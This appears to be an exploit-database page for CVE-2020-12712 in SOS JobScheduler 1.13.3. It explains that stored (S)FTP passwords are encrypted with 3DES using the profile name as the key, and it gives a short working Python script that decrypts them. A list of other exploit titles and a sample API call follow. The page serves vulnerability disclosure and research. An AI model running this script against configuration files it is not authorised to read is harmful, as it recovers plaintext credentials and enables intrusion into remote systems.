Search for hundreds of thousands of exploits

"SOS JobScheduler 1.13.3 - Stored Password Decryption"

Author

Exploit author

"Sander Ubink"

Platform

Exploit platform

multiple

Release date

Exploit published date

2020-06-15

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# Exploit Title: SOS JobScheduler 1.13.3 - Stored Password Decryption
# Google Dork: N/A
# Date: 2020-04-20
# Exploit Author: Sander Ubink
# Vendor Homepage: www.sos-berlin.com
# Software Link: www.sos-berlin.com/en/jobscheduler-downloads
# Version: Tested on 1.12.9 and 1.13.3, vendor reported 1.12 and 1.13
# Tested on: Windows and Linux
# CVE: CVE-2020-12712

# Description: SOS JobScheduler is a tool for remote system administration that allows users to call maintenance scripts via a web interface. 
# The tool places the maintenance scripts on the remote systems by means of (S)FTP. It allows the user to save profiles for these connections, 
# in which the password for the (S)FTP connection is optionally stored. When the user chooses to store the password with the profile, 
# it is encrypted using the name of the profile as the encryption key. Since the name of the profile is stored in the same configuration file, 
# the plaintext (S)FTP password can trivially be recovered. The encryption algorithm used is Triple DES (3DES) with three keys, requiring a key 
# length of 24 bytes. The profile name is padded to this length to create the key. Finally, the encrypted password gets base64 encoded before 
# being stored in the configuration file.

# Usage: python jobscheduler-decrypt.py [encrypted password in base64] [profile name]

import pyDes
import base64
import argparse

parser = argparse.ArgumentParser(description="Decrypt the password stored in a Jobscheduler (S)FTP profile configuration file")
parser.add_argument("password", help="password to be decrypted")
parser.add_argument("profilename", help="name of the profile")
args = parser.parse_args()

if len(args.profilename) > 24:
	sys.exit("Profile name is longer than 24 characters. Check the validity of the input.")

key = args.profilename + ((24 - len(args.profilename)) * " ")
cipher = pyDes.triple_des(key, pyDes.ECB, b"\0\0\0\0\0\0\0\0", pad=" ", padmode=None)
plain = cipher.decrypt(base64.b64decode(args.password))

print(plain)
Release DateTitleTypePlatformAuthor
2020-09-11"Tea LaTex 1.0 - Remote Code Execution (Unauthenticated)"webappsmultiplenepska
2020-09-11"VTENEXT 19 CE - Remote Code Execution"webappsmultiple"Marco Ruela"
2020-09-07"Cabot 0.11.12 - Persistent Cross-Site Scripting"webappsmultiple"Abhiram V"
2020-08-28"Nagios Log Server 2.1.6 - Persistent Cross-Site Scripting"webappsmultiple"Jinson Varghese Behanan"
2020-08-27"Mida eFramework 2.9.0 - Remote Code Execution"webappsmultipleelbae
2020-08-26"Ericom Access Server x64 9.2.0 - Server-Side Request Forgery"webappsmultiplehyp3rlinx
2020-08-26"Eibiz i-Media Server Digital Signage 3.8.0 - Directory Traversal"webappsmultipleLiquidWorm
2020-07-26"Socket.io-file 2.0.31 - Arbitrary File Upload"webappsmultipleCr0wTom
2020-07-26"Bio Star 2.8.2 - Local File Inclusion"webappsmultiple"SITE Team"
2020-07-26"Sickbeard 0.1 - Cross-Site Request Forgery (Disable Authentication)"webappsmultiplebdrake
Release DateTitleTypePlatformAuthor
2020-06-15"SOS JobScheduler 1.13.3 - Stored Password Decryption"remotemultiple"Sander Ubink"
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/48587/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.